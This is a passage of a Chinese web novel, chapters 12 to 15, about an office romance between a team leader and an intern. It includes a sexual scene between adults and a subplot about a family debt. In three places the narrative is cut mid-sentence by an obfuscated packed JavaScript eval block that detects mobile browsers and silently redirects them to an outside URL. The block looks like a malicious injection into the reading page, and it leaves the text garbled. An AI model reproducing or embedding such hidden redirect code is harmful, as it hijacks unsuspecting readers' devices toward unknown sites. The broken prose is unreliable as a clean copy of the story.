他把车开出停车场,经过公司大门,一个熟悉的人影正打着一把黑伞,在路灯下低头打字。屏幕的光亮反在那张棱角分明的脸上,像某些未来科幻片里的英俊仿生人。 赵郢降下副驾驶的车窗,握着方向盘:“你这个点怎么还没走?” “你为什么也没走?”韩谦反过来问他。 赵郢说:“还能为什么?加班。” 车门解锁后发出一声清脆的声响,赵郢看向车窗:“上车。” 副驾驶的门被人拉开,一股冷气随着韩谦闯进来。赵郢打开导航,一边定位出发点一边问:“你家在哪?” 韩谦说了个地方,是一家酒店的名字,赵郢听都没听过。 他没急着输入终点,问道:“你不是南水本地人吗,住酒店?” “和家里人吵架了。”韩谦说,“他把我赶出去,我只能住酒店。” 他说完目光闪烁地看向赵郢,“我……” “不可能让你住我家的,死心吧。” 赵郢脚踩油门,一辆黑色雷克萨斯冲入雨幕。 12. 第 12 章 在韩谦连续拉着他吃了一周烧卤饭后,赵郢再也受不了了。 哪怕再怎么爱一样东西,一年三百六十五天,天天吃顿顿吃也是会腻的! “我中午去吃三楼的酸菜鱼。”他对着手机调整腕表的指针,中途掀开眼皮,淡淡瞥向办公室门口那道高挺笔直的身影。 韩谦反手关门,三两步走上前,阴影从赵郢头顶投下来,黑压压一大片。 “去去去,挡我光了。”赵郢推了他一把,不知道推的是肩膀还是哪儿,那人闷哼一声,好像撞疼了似的,又露出那副既委屈又生气的神情。 韩谦这个人是有点爱装的,他心想,很多时候也许并不是真的疼,也并不是真的难受,不过是扮演鸟巢里的雏鸟,凭借一流的演技与技巧得到足以饱腹的食物。 可他还是停下来,不确定地问:“撞到哪了?” 韩谦穿了身版型宽松的卫衣,藏青色的,领口稍稍立起,很青春洋溢的感觉,脖子短一点都穿不出这种味道。他一只手搭在赵郢椅背上,另一只手点点左胸,“这里,你把我推疼了。” “少碰瓷。”赵郢敛回目光,接着调他的手表,“我根本没使多大力气。” 韩谦识趣地没狡辩下去,他将搁在桌角的文件推到赵郢手边,“舒沅姐叫我送的资料,给你放这了,记得看。”自从上回赵郢找他好好谈了一次,他现在对这种跑腿的活也没之前那么抗拒了,其他人不清楚,至少白舒沅的安排是肯接受的。 他还能不记得吗?赵郢很佩服韩谦没话找话的功底,因为忙着校准时间,他简略“嗯”了一下,但韩谦放在他椅背上的那只手依旧没有挪开。 身边站着个人的感觉强烈到难以忽视,赵郢硬着头皮一声不吭,须臾,一根骨节修长的手指蜻蜓点水地碰了碰那块金属表带。 “修这么半天都没修好,赵郢,我买个新的送你。”韩谦沉吟道,“你手腕细,不适合戴太大的表盘。颜色是无所谓的,深一点浅一点都衬你。” 韩谦又说了一些他听不懂的名词,中英混杂,赵郢有几分理解白舒沅的心情了。 他自顾自地说了许多,讲到赵郢已经把手表的指针与北京时间对齐,然后总结性地问:“怎么样?” “不怎么样。” 赵郢站起来,掌心抵着他的胸口把人推远,眉眼间的镜片折出一道带着蓝调的冷光,“我不戴小天才。” 他松开最上面的两粒扣子,将衬衫袖口翻上去折了三道,刚好到手肘附近,赵郢这才觉得呼吸通畅了些。 他压住门柄,刻意等了一会儿。听到韩谦没有跟上来,赵郢诧异地扭头看过去,包裹着细窄腰身的布料旋出几道柔软的褶:“不吃午饭了?” “你不是说不想陪我吃烧卤饭吗。”韩谦不为所动。 赵郢:“……” “我给你三秒钟,跟上来。”他晃晃指尖的工卡,“或者,我找别人陪我吃酸菜鱼。” 赵郢计着时:“三、二……” 数到“一”之前,韩谦炽热的掌心严丝合缝地贴着他露出来的那截小臂。 赵郢生出一种错觉—— 韩谦的体温似乎快把他烫坏了。 进电梯的时候,赵郢把他的手从自己身上撕开,保持一段友好的社交距离。今天食堂三楼的人有点多,尤其酸菜鱼这边,夸张地排了条长队。 赵郢平常是没耐心等那么久的,这次却意外地走到队末,随着人群一点点向前挪动。 “哎,听说这批新来的实习生里有个大帅哥,你见过没?”声音的源头和赵郢隔了大约三四个人,排在赵郢前面的中年男同事体型庞大,他有意无意找了几个角度,都没看清说话人的脸。 另一个人的声音挺耳熟,只是赵郢一时间没对上号:“哦,你说韩谦啊……长的是还行,就是人不咋样。” 这两人大概心存侥幸心理,忘了有个定律叫“在背后蛐蛐人绝对会被正主听到”。挑起话题的女生失望地“啊”了一声,问:“哪方面的‘不咋样’?” 另一人细声细气地说:“不尊重前辈,不配合团队工作,以为留过学就特了不起,港币样子。” “国外的教学质量比得上国内985211吗?谁知道他的毕业证是不是买的,说不定论文都是花钱雇的代笔。你也别对这种脸好看的人滤镜太深,他们背后都玩很花的,喝酒泡吧,大概率性/生活混乱。” 那人越说越起劲,赵郢回头看了眼韩谦,他倒淡定,脸上看不出喜怒,仿佛被说的不是他一样。 把赵郢挡得严严实实的中年男同事侧头打了个喷嚏,透过空出来的缝隙,赵郢可算捕捉到那人的正脸。 随后他有些讶然地挑了挑眉。 那道声音的主人,正是他和韩谦吃烧卤饭的第一天,路过喊他“赵哥”的文弱男生。 队伍排到赵郢,那个男生没走,还在调料区加香菜和辣椒。 赵郢悄无声息走到他身后,笑眯眯地弯着眼:“小郑啊,看不出来你这么能吃辣。” 男生肩头一颤,一勺香菜掉了三分之二。 “赵、赵组长,你也要加调料吗?” 赵郢笑道:“不用,我不加,只是过来打个招呼。刚才排队的时候看你和其他部门的同事聊得正开心,就没有打扰。” 这时韩谦寻着他的背影找过来,赵郢唇角的弧度又上扬几分:“你和小郑都是南水本地人,怎么小郑能吃辣你不能?” “辣椒吃多了上火。”韩谦如实说。 男生死死咬着唇,温度宜人的春季竟然出了一脑门热汗。 赵郢点到即止,就近找了一张双人桌。 气氛一下子变得有些沉默,韩谦埋头专心挑着飘在汤面的花椒壳,赵郢则食不知味地抿着鱼刺,好几次险些被卡了喉咙。 韩谦忽然抬起头:“赵郢。” “嗯?” “我小时候在洛杉矶长大,我妈妈是德意混血,和我一样,眼睛是蓝色的。”韩谦说,“上小学以后,班里只有我一个混血,种族歧视在国外很常见,他们平等地瞧不起所有亚洲血统。” “后来我八岁那年被接回国,同学又觉得我更像外国人,因为普通话不标准,和他们长相差异太大。总之不论哪一种偏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14985778|161535||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见,我现在都习以为常。” 赵郢嘴唇翕动,盯着他:“你想说什么?让我不要可怜你?” 他挑了一筷子配菜,放在碗边摊凉,“并没有可怜。我只是站在我的立场,停止这场不该发生在云升内部的造谣。” 酸菜鱼本身是有点辣的,由于加了花椒壳,吃到后半程人的舌尖也微微发麻。 赵郢擦掉鼻尖的汗珠,偏头小声嘶了口气。方才他说韩谦不能吃辣,其实他自己也吃不了一点。 “这碗你喝,我放好久了。”韩谦把他顺手打的番茄蛋汤端到赵郢面前,这碗本就是给他的。 赵郢喝了两口,觉得撑,放下去的那一秒,韩谦将碗接到手中,仰头一口气喝完剩下的蛋汤。 过程无比丝滑自然。 赵郢愣了半天,像是看傻了。 回到工位上,他和韩谦再没有除工作以外的交际,恍若辛德瑞拉赴宴前的那套仙女礼裙,一旦过了零点就会失去所有魔力。 四月份的天没有冬季黑得那么快,在路灯一个接着一个地亮起时,赵郢将当日所有要处理的事收尾,准备到大厦对面的二十四小时便利店吃点什么垫垫肚子。 自动感应门检测到有人靠近,响起一段欢快的铃声,收银台的十二宫格关东煮锅冒着腾腾热气,食材在咕噜咕噜的气泡中上下翻滚。 休闲区,一身藏青卫衣的高个男生坐在高脚凳上,两条长腿松散地交叠着,脖子上挂着银白色的头戴式耳机。 赵郢买了一碗饭,让店员帮忙加热,他走到韩谦身侧,把手机反过来扣在桌上。 “你比之前晚出来二十分钟。”韩谦坐着的时候视线几乎与他持平。 赵郢的酒窝转瞬即逝,“怎么不见你对工作这么上心。把我的作息摸得一清二楚,想坐顺风车省路费?” “赵郢!”韩谦咬字很重,动怒了似的,“我在追你,看不出来吗?” “你好执着。”赵郢感叹道。 全世界的处/男都像韩谦这样对第一次的对象念念不忘吗?也不见得吧。 韩谦正要开口,收银台的店员大声说了句“您的香烤猪扒蛋包饭好了”,赵郢做了个稍等的手势,过了几秒,他带着热腾腾的便当返回,掰开一次性筷相互剐蹭几下。 “我妈妈说爱一个人是一辈子的事,中途放弃的都是负心汉。”在赵郢吃第一口的时候,韩谦冷不丁地说。 过了一会儿,他又自言自语:“但她眼光很差,挑中了负心汉中最厉害的那个。” 赵郢默不作声,心想韩谦的眼光也没好到哪去。 他咬了一口西兰花,问道:“既然你小时候在国外,是不是也有英文名?” “有。” 休息区在自动感应门旁边,一整片的玻璃窗正对着店外的街景,此时外面开始下起小雨,雨珠被风吹到窗上,划开细长的水迹。 韩谦眼睫低垂,略长一些的额发扫过浓黑的眉:“AndrewHofmann,但现在不常用了。还有一个小名,除了我妈很少有人叫过。” “赵郢,你也可以叫我Andy。” 13. 第 13 章 “赵哥把英文名这事说给我听,当时我都快笑发财了。‘Daisy’还是我上小红书随手搜出来的呢,现在全部门都没人这么叫了,这小子愣是围着我喊了半天‘Daisy姐’!” 白舒沅笑得直不起腰。她多少知道韩谦被小郑排挤的事,所以借着今天项目组聚餐,开了个无伤大雅的玩笑,就当帮忙拉近韩谦和其他同事的距离了。 她说完后,在座的人笑成一团,连赵郢也浅浅抿出一抹笑。 赵郢往蘸碟倒了一些刺身酱油,筷尖在纸巾上挂掉多余的芥末:“要不是韩谦提醒,我都忘了我还有个英文名叫Miles。” 另一同事打趣道:“早知道签合同的时候,把小韩调去隔壁国际业务部了,他们负责人昨天还跟我抱怨人手不够呢。” “那可不行。”韩谦戴了一副黑色方框眼镜,没有度数,日料店暖黄的光线铺洒下来,整个人显得无辜又纯良,“赵哥手把手指导了一个月,我走了,赵哥的辛苦不就白费了吗。” “你也知道我很辛苦啊。”赵郢托着腮笑。 他夹了一片三文鱼刺身,鱼肉掠过蘸碟,视线死角的部位沾上半个指甲盖大小的芥末酱。赵郢无意识地将一整块送入口中,顿时被辣得泛起泪花。 他捂着嘴偏头咳嗽几声,有同事见状反应极快地说:“都给我们赵哥辛苦哭了,小韩,这不得敬杯酒意思一下?” 同事聚餐免不了喝酒,赵郢在上餐前点了两壶清酒,这会儿正好是派上用场了。 韩谦坐在他对面,闻言举杯碰过来,眼底也化开些许笑意。 两只玻璃杯挨着轻轻一撞,赵郢喝得很急,喉咙里残留着芥末与酒的辣味,好像胸口起了一把火,脸颊耳根都燥热起来。 他谎称上厕所,跑到日料店外的空旷地抽了根烟。饭店在一条商业街的尽头,周围没有路灯,只能听到绿化带里昆虫扇动翅膀的声音。 黑暗中亮起一簇火焰,赵郢两指夹着烟头,尾端靠近打火机的那一瞬,烟草燃烧出橙红色的光点。他深深呼出一团烟雾,心想是不是自己对韩谦的反应太大了,想避嫌的是他,落荒而逃的还是他。 他想得入神,捏在指间的烟一个没看住,转眼落到另一个人手中。韩谦学着他的样子坐在最高一级的台阶上,夹着烟但不抽。 “舒沅姐说你上厕所上好半天。” 赵郢收拢掌心,盖着有些发烫的额头,“出来透透气,酒喝的有点多。” “你怎么说的?”他问,“说怕我掉厕所里,赶紧过来看看是否需要打110?” “赵郢。” 韩谦皱眉,“我只是担心你。” “担心我干什么。”赵郢抓着他的手,嘴唇含着烟嘴,“你一个刚满二十岁的,担心我这个二十六的,没这个必要。” 他还没吸气,韩谦把手拿远了,将烟头掐灭投进不远处的垃圾箱。 赵郢呆呆地看着他,仿佛一台被设定成静止状态的机器。他的耳垂被韩谦揉了两下,一阵酥麻迅速繁殖蔓延,就差一点,就要被对方得逞吻住唇舌了。 “该走了。”赵郢站起身,掸掸裤子上的灰尘,“白舒沅叫你出来找我,不是让你夹带私货,在这跟我调情。” 他在门外冷静几秒,和韩谦错开时间回到包厢。 日料店清酒的度数着实是扮猪吃老虎了,起先喝着没感觉,越到后面越上头,赵郢喝了至少半瓶,直呼不妙。他在前台结账的时候人尚且清醒,出了店门,要不是有同事扶着,差点在大街上安详入眠。 “赵哥待会儿能一个人回家吗?”白舒沅面露担忧,“你们谁今晚方便送送他?” 赵郢的脑袋沉沉地往下坠,他坐在公交站的长凳上,只发出了一个单音,就听到有人自告奋勇地说他可以。 抬起下巴一看,果然又是韩谦。 其他同事陆陆续续走了,公交车站仅剩他和韩谦两人。 赵郢疑惑他这么半天怎么还没叫到车,歪着头瞄了眼韩谦的手机。屏幕停在初始界面,背景是一张看角度应该是偷拍的照片——灯光明亮的会议室,清瘦白净的男人侧着身子站在投屏前,嘴唇抿成一条直线,很严肃、不苟言笑的神态。 “就说那天开会听到相机拍照的声音。” 赵郢把头转回去,“问了一圈,也没人承认。” “对不起。”韩谦态度良好,“你不喜欢的话我就换一张。” 赵郢:“那你换。” 于是此人当着他的面,把那张偷拍照换成了今晚聚餐的合照,只不过别有用心地把他和赵郢拉大,用马赛克将其他人模糊掉。 “好了。”韩谦说。 “……” 还不如不换。 五分钟后,一辆网约车靠边停了下来。 赵郢还没醉到连家在哪都不知道的程度,他一边报着地址,一边调整坐姿,想坐得舒服点。 “靠我肩上试试。”韩谦将肩膀压低一些。 赵郢实在难受,也没和他客气,痛痛快快地枕上去。但枕了不到一秒,他虚弱地发出一声气音:“想吐……” 后视镜中,网约车司机霎时警惕地绷紧上半身,迅雷不及掩耳之势打开后座左右两扇车窗,以便空气流通,生怕赵郢吐他车里。 韩谦变戏法似的掏出一个塑料袋,给赵郢捧着,他问韩谦哪儿来的,这人哼了一声:“他们打包剩菜的时候找服务员要的,单独付了五毛呢。” “要不要我给你报销啊?” 韩谦一整个大变脸:“我像是那么抠的人吗?” 赵郢被他乐得咯咯笑。 “说到抠门,其实我才是那个把一块钱掰两半花的人。”赵郢说,“小时候家里穷,我爸妈都是农民,收成好坏就看那一年的天气。碰巧我高考那一年发洪水,地基本都被淹了,救也救不回来,大学开学要交学费,他们没办法只好卖了家里唯一一头牛,又找乡邻零零散散借了一些才勉强凑齐。” “有一次我们寝室聊起生活费,我说我银行卡交完学费只剩八毛钱,他们还不信。” 赵郢说这些时语气很轻松,仿佛这样的遭遇是发生在平行时空的他身上。 这是他第一次谈及自己,韩谦放在腿侧的手紧张地揪着衣摆,嗓音干涩地问:“那后面四年怎么办呢?” “打工啊。” 赵郢轻笑:“兼职家教,周末、寒暑假连轴转 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14985779|161535||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,再算上每一年的奖学金,留一笔给自己交学费,再留一笔补贴我妹,她也过得很辛苦……”他看向韩谦,话锋一转,“你哭什么?” 这人眼泪快流到脖子上了,鼻尖红红的,“进沙子了。” 驾驶座的司机师傅“哎哟”一声,须臾,两扇车窗缓缓关闭。 赵郢有些哭笑不得,“南水市空气质量全国前三。” 话音刚落,车窗又开了。 赵郢:“……” “我妈妈说我泪点很低,以前最烦把我带去片场。”韩谦抽了抽鼻子。 “片场?” 韩谦说:“她是电影演员,但没什么名气,十几年前在好莱坞演过一些配角。” “哇哦。”赵郢眼前一亮,“那你怎么不当演员,继承你妈衣钵?” 韩谦顿了顿,“她说我哭得太不美观,不适合演戏。如果表情再好看些,说不定能成为第二个莱昂纳多。” 赵郢认真端详着他的脸,也许是酒精发挥作用,又或者是真情吐露,他看了一会儿,醉醺醺地闷声笑:“你妈妈也没说错。” 韩谦确实有一张无比优越,如果演技好点将闪耀好莱坞二十年的脸。 下了车,赵郢用小指勾着钥匙圈,哪怕他一句话没说,韩谦也十分自觉地跟着他走进电梯。 这套房子是赵郢去年贷款买的,几百万的贷款得还到猴年马月,要不然怎么说人都是“房奴”呢? 赵郢把没用上的塑料袋塞进收纳箱,在厨房翻翻找找,拆出一个新的杯子走到客厅:“喝茶还是矿泉水?” 韩谦想了一会儿,说:“喝茶。” 赵郢胃不好,不能喝绿茶,家里囤的都是金骏眉之类的红茶。 他把杯子端到韩谦面前,转了转脖颈,“喝完这杯就走。”见韩谦满脸困惑,假笑道,“难道我还要留你过夜啊?” “可是我想留下来陪你。”韩谦说。 他在赵郢家客厅的沙发上坐着,用赵郢的杯子喝着赵郢泡的茶,手指还扣着人家的手不放。 赵郢不知道他什么时候摘的美瞳,那双灰蓝色的眼睛直勾勾地盯着他,好像在看一个翻山越岭才找到的神秘宝箱。 他很想告诉韩谦,宝箱里面什么也没有,是空的,虚无的,如果不是这个冒冒失失的探险者,这个宝箱可能一辈子都不会被人发现。 但转念一想,韩谦应该也没什么所谓,他肯定会回答他不在乎宝箱到底有没有宝藏。 他只要眼前这个被他牵住手的人。 “我们试试吧,赵郢,什么身份我都可以,看你喜欢。” 韩谦要求道:“不过只能有我一个,不能有别人。” 赵郢思考了很长一段时间,与其说思考,不如说是在发呆。 要不要试试呢? 但他需要顾虑的东西又有好多。 他知道韩谦在等,他也在等——等心底的某个声音冒出头,告诉他该选是还是否。 赵郢的手指夹过烟,残余一股淡淡的烟味,他在车上擦了护手霜,韩谦闻到了,是柑橘的味道。 那句回答就随着这股混合的气味传入韩谦耳中。 “去洗澡。” 14. 第 14 章 等赵郢洗完澡出来,韩谦还在客厅沙发上聚精会神地研究他那支柑橘调的护手霜。 “看什么呢。”赵郢明知故问道。 他换上一套真丝睡衣,珍珠白的颜色,袖口的暗花流光溢彩。 赵郢放在浴室的洗护用品全都是柑橘味的,洗完澡出来像引爆了一颗橙子炸弹,发尾没擦干的水顺着脖子滴下来,将领口洇开一小片水渍。 韩谦的视线黏在他敞开的衣领处,喉咙里“咕咚”一声,是吞口水的声音:“赵郢,能不能送我一支护手霜?要和你一样味道的。” 赵郢摸了摸他的手背,指尖黏糊糊的,再一看,他放在茶几上的护手霜瘪了一大块。 “送个屁啊,你都快把我的欧舒丹用完了!”他骂,“抹猪油呢韩谦?” 赵郢脸颊烧红,纯纯被气出来的,一想到韩谦以后还会来很多次,还真是不送不行了。 他踩着拖鞋“登登”跑到卧室,从一个包装精美的新年礼盒里扣出一支金橘雪松,投掷似的扔到韩谦怀里。 “拿去拿去。” 那人拉着他的手腕,掀开赵郢的睡衣下摆,像玩橡皮泥一般捏着那片触感细腻的腰腹,低声笑道:“谢谢赵哥。” 韩谦到底是年轻,赵郢看到他的脸就消了气,他被掐得直躲,但韩谦的两只手臂强势地禁锢住他的退路,围成了一个狭窄的环形。 膝下的大腿肌肉紧实而鼓胀,赵郢屈膝一跪上去就感受到炽热的体温。他手臂是冰凉的,环上韩谦线条硬朗的肩颈时,两人都因彼此的温度轻微一颤。 “热死了。”赵郢别开脸,眉头紧锁着,偏偏韩谦压着他的屁股让他往下坐,“放中医里,你这叫心火过旺。” 胡乱科普的赵组长被颠得抖了一下。 “你老是鸡蛋里挑骨头。”韩谦克制地控着气息,他仰着头,拿浴巾胡乱擦干的头发宛如刺猬,四仰八叉地竖着,“那天也是,说我横冲直撞技术差,不下床拍屁股走人都是给我脸了。” 他回国后看了不少畅销网文,活学活用道:“人都有第一次啊,三十年河东三十年河西,莫欺少年穷!” “啊啊啊韩谦!” 赵郢快被颠到沙发底下了,跟坐过山车差不多,惊险之余很想分一部分精力出来大喊“退票”。 可惜贼船的车门被韩谦焊死了,他只得朝着无良司机的下巴抽一巴掌,音调高低起伏地说:“别惦记你那男频爽文了,慢一点行吗?” 赵郢的控诉还是有效的。 过山车平稳着陆,晃成了摇摇车的水平。 韩谦搂着他汗湿的背,下巴搁在赵郢颈窝,平静下来后却乱了呼吸:“赵郢,什么样才叫做得好?你第一次的时候,那个人有我好吗?” 赵郢的目光短暂失焦了一瞬,心想韩谦真是哪壶不开提哪壶,哪怕安安静静的抱一会儿也比说这个好。 “在我的标准里,还没人可以做得很好。” 他在韩谦的怀抱里挣了挣,动手解开睡衣纽扣,将羽毛般轻柔光滑的布料抛到沙发一角,“虽然都很烂,但那个人比你差远了。” “我想也是。”韩谦嘴角上扬。 “骄傲使人落后。”赵郢撇撇嘴,“能不能别和人比烂啊?重点是多看多听多学,懂吗。” 韩谦:“我会努力的赵哥。” 赵郢欣慰地摸摸他带刺的脑袋,只是欣慰之情燃烧了还没一秒,韩谦的下一句接踵而至:“所以,你的第一任是什么样的人?” “……”赵郢默然。 他慢慢从韩谦身上爬下去,把扔掉的睡衣扯过来,慢条斯理地穿上。 韩谦问了个好问题。 但不是所有会问问题的好学生都能得到老师的表扬。 赵郢说,“我恋爱经验不多,初高中一个劲地读书,想考一个好大学,是上了大学后才意识到自己性取向和普通人不一样的。” 他叫了半天又没喝水,嗓音是有点嘶哑的,但却阴差阳错地掩饰了很多情绪:“在你之前只谈了一任,是我本专业的学长,比我高两届,我们是在社团认识的。他家庭环境很优越,向外展示出来的形象也是彬彬有礼、温柔斯文那种类型,喜欢这种人不要太正常。” 当时赵郢以为自己藏得滴水不漏,没想到一次社团聚会就露了馅,那人甚至主动向他告白,说暗中关注他许久了。 这些年尽管同性婚姻与异性婚姻具有相同的法律效益,大多数人对同性婚姻的看法依旧死板老套。 因此赵郢和那人的恋爱关系一直没有公开,约会也是偷偷的,避开学校周边去更远的地方活动。 赵郢也是个傻的,被那句“毕业后我们结婚”哄成了胚胎,脑子里灌的水拍两下都听得到回音。 后来的结局不用说也能猜到,他的第一任男友本科毕业后接受父母安排,瞒着赵郢无缝相亲。 如果不是他半夜胃疼起床找药吃,无意间看到相亲对象发来的消息,他恐怕一辈子要被蒙在鼓里。 赵郢弯腰去够茶几抽屉里的烟,他眯着眼点燃一根,总结道:“如你所见,他是个渣男。” “对不起。”韩谦低着头用力抱住他,手足无措的样子像一只业务不太熟练的抚慰犬。 “为什么道歉?” 赵郢望着他头顶的发旋,好不容易扣整齐的睡衣纽扣又被弄开了几粒,胸口难以启齿的地方隐隐作痛。 已经过去四五年了,除了廖彦川那几次拙劣的求和,他真正做到了“往事暗沉不可追”,一名合格的成年人不就得这样吗。 “韩谦,你知道我这个人是很严格的,确定还想试试吗?”赵郢问他,“我允许临时反悔,毕竟现在只是睡过而已,顶多加个限定词‘两次’。” “我不想试了。”韩谦说。 赵郢心中很快地闪过一丝失落,但他还是露出一抹笑:“行,在公司我们……” “给我个名分吧赵郢,我想和你谈恋爱。” 赵郢磨着后槽牙,一晚上坐了两次过山车,他心情非常不美妙:“等你什么时候学会一口气把话说完,我就什么时候给你名分。” 夜晚韩谦在主卧留宿,后半夜赵郢被迫洗了第二遍澡,头发丝快被韩谦揣在兜里时不时补喷的男士香水腌入味儿了。 香水也是柑橘调的,柠檬味散去还闻到一股生姜的味道,留香能力也十分霸道持久。 赵郢困得躲进被窝深处,在韩谦怀里找了个合适的位置趴着,问他这是哪一款香水。 外国人不管直男 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14985780|161535||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还是gay,对香水的钟爱程度不相上下。 韩谦托着他的后腰,很缠绵地与赵郢相拥着,说:“DiorHommeCologne,中文译名是桀骜。在公司经常用的是帕尔马黑调古龙和LV雷暴。” 他像游戏公司通过邮箱发布的调研报告,小心翼翼地问:“赵郢,你喜欢哪一个?” “今天的吧……”赵郢哈欠连天,深深埋着脸,“后两种太熏。” “那我以后就用这个了。”韩谦为他早上花一小时选香水从而做出的优秀决定感到高兴。 赵郢的人生里总循环着一条规律:好坏交替,如果前一秒太幸福,那么后一秒永远不会让他好过。 于是他凌晨五点莫名其妙地醒来,翻开枕头下的手机,锁屏显示他有五十多通未接来电,有赵父打来的,也有他妹妹赵莱的。 因为开了静音,他一个也没接到。 韩谦抱他抱得很紧,赵郢在不吵醒他的前提下脱身花了不少时间。他没穿拖鞋,披了件外衣到阳台给赵莱回电,电话一通,另一头就有人接听了。 “家里出什么事了?”赵郢问道。 赵莱的声音里裹挟着浓浓的疲惫,这也证明她一晚上没睡,“爸投资的工厂倒闭了,老板卷款潜逃,催债的找上门,让爸还钱,说三天之内不把钱准备到位,就要砍断爸的一条手臂。” 赵郢没想到这段话里竟然包含这么大的信息量,他进客房换衣服,轻手轻脚地短暂出行的行李:“他……他都不识字,从哪找的投资渠道?谁介绍他和老板认识的?” “你自己问他去吧!”赵莱那边传来走动的声音,说话音量也变大了,“妈昨天闹得哭天抢地,心脏病发被我送到医院输液,赵宝瑞也不知道死哪去了,家里只有爸一个。” 赵郢拉上行李箱拉链,“欠多少?我心里先有个数。” 几十万东拼西凑还好说,要是几百万几千万,真得拿胳膊换了。 赵莱说:“五十万。他从存折里取了五十万,找人借了五十万,总共投了一百万。哥,他以为自己是沃伦·巴菲特啊?” 赵郢订了最早的高铁票,然后在公司系统递交了请假申请。他出门走得急,忘了主卧还睡着一个人,也忘了留字条,是到家了才想起这事。 “老大……你要救救你爸爸啊,其他人可以不搭理咱家,你可不行!”赵母哭哭啼啼地拉着他,赵莱站在门边,背着手一言不发。 赵郢环顾一圈,问道:“赵宝瑞人呢?” “宝瑞他、他在学校呢。” “真的?我到家前去学校找过了,他的班主任说他今天请假,没有上学。” 赵母支支吾吾说不出话,赵郢大概明白前因后果了,“投资是他和爸提的,对吧。” “不是不是!不是你弟弟!”赵母急忙摆手,“我是怕催债的把他伤了,才叫他这几天躲远些的。” 赵郢有些失语。 他把赵母扶到座位上,拉着赵莱到院子里商量解决办法。 “我手里只拿得出八万。”赵莱说。 “拿什么钱。”赵郢白她一眼,“非法催债,暴力威胁,打110不就完了?” 他像小时候那样点点赵莱的额头,无奈道:“笨。” 15. 第 15 章 赵郢报了警,两名民警上门找赵父了解情况,他才发现那五十万是本金和利息加在一起的钱。 本金只有十万,一年期,要还借贷人五十万,不是高利贷还能是什么? 赵郢咨询了一个研究生转专业到法学的本科同学,根据相关规定,年化利率超过LPR四倍的部分是不受法律保护的[1]。 顶多把本金还回去。 民警做完记录,赵郢动身亲自把他们送到院外,转身往回走的时候,赵莱站在枝条繁茂的葡萄藤下,身后是空置了很多年,土墙被推倒拆除的牛棚。 他动作迟缓地点了根烟,前段时间因为加班掉了好些肉的下巴似乎又尖了不少,满脸倦容。 “赵郢,别怪我没提醒你。”赵莱很久不叫他哥,表情大多时候也很严肃,“抽多了小心肺癌。” 不知道是想起谁,赵郢右侧脸颊的梨涡陷得愈发深了,笑得手指间烟头直颤,抖落一截烧空的烟灰。 他听劝地把烟灭了,纸巾包起来捏在手心,“你说话好像一个人。” “像谁?” 赵莱一眼看穿,说道:“你对象也这么说的?” 赵郢笑不出来了。 “那个人叫什么名字?多大了?什么职业、月薪多少?爸爸妈妈都是做什么的?”赵莱问得全面,想必在心里憋了一整天,就等一个开口的机会了。 赵郢摘掉她头顶的一片落叶,戏谑道:“你查户口呢。” “是啊。”赵莱诚实地点点头,“还不是怕你识人不清,又跟上回那样难受得肝肠寸断,凌晨四点给我打电话,擦了一整包抽纸的眼泪和鼻涕。” 赵郢:“……”有那么夸张吗。 “是公司的同事,分在我组里实习。”他将叶子捏碎了,一把洒到葡萄藤的土壤里,讪讪地找优点,“年纪挺小的,刚读完大学回国,每次下班倒数第二个走,很上进呢。” 赵莱表情微变,欲言又止地打量着她哥,半晌冷冷吐出三个字:“恋爱脑。” 赵郢笑也不是不笑也不是。 他还觉得韩谦是恋爱脑呢,说着爱啊喜欢啊什么的就冲过来了,小心思暗戳戳的,又生怕他察觉不了,要故意露出一点端倪来。 “留学生一般家里很有钱,赵郢,富二代最会玩弄感情了,别傻乎乎的被人骗。”赵莱说,“而且办公室恋爱没有好下场,传出去也是你损失更大。” 富二代?可韩谦看着也不太像。 赵郢心情复杂地想,这人中午和他挤公司食堂,晚上冲进二十四小时便利店买打折的加热盒饭,还喝九块九一杯的瑞幸咖啡,反正他没见过哪个富二代寒碜成这样。 “他和家里人关系不好,没准留学的钱都是找人借的呢。”赵郢说。 赵莱心烦地拨着葡萄藤尚且健在的叶片,没好气道:“这就心疼上了?可怜男人倒霉一辈子。” 赵郢笑笑没说话。 此时,正在办公的韩谦连着打了三个喷嚏,在白舒沅的催促下给自己泡了一杯999感冒灵。 赵郢在系统里递交的三天的请假申请,事情在第二天基本结束,只是那十万本金怎么还,由谁出钱还是个问题。 他私底下问过赵莱,她打算今年买辆代步车,存款七八万是有的。至于赵郢自己,他刚把上季度的绩效拿到手,工资除了还房贷、挪一部分给赵父赵母当生活费,也是存了一点小钱的,加起来正好十万出头。 